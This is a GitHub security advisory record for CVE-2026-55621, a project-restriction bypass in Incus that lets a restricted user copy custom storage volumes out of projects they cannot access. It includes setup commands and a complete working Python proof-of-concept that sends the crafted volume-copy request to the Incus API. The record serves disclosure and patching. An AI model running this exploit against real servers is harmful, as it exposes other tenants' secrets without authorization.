CVE-2026-55621: Github.com/lxc/incus/v7 Incus Has A Project Restriction Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-64f3-v33m-w89f",
  "modified" : "2026-08-28T18:52:05Z",
  "published" : "2026-08-28T18:52:05Z",
  "aliases" : [ "CVE-2026-55621" ],
  "summary" : "Incus has a project restriction bypass for custom volume copy across projects",
  "details" : "### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--pool\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-volume\", required=True)\n    ap.add_argument(\"--source-pool\")\n    ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n    ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n    ap.add_argument(\"--volume-only\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    source = {\n        \"type\": \"copy\",\n        \"name\": args.source_volume,\n        \"project\": args.source_project,\n        \"volume_only\": args.volume_only,\n    }\n    if args.source_pool:\n        source[\"pool\"] = args.source_pool\n\n    body = {\n        \"name\": args.name,\n        \"type\": \"custom\",\n        \"content_type\": args.content_type,\n        \"source\": source,\n    }\n    path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n        urllib.parse.quote(args.pool, safe=\"\"),\n        urllib.parse.urlencode({\"project\": args.target_project}),\n    )\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "6.23.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55621"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/releases/tag/v7.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:52:05Z",
    "nvd_published_at" : "2026-08-21T15:16:41Z"
  }
}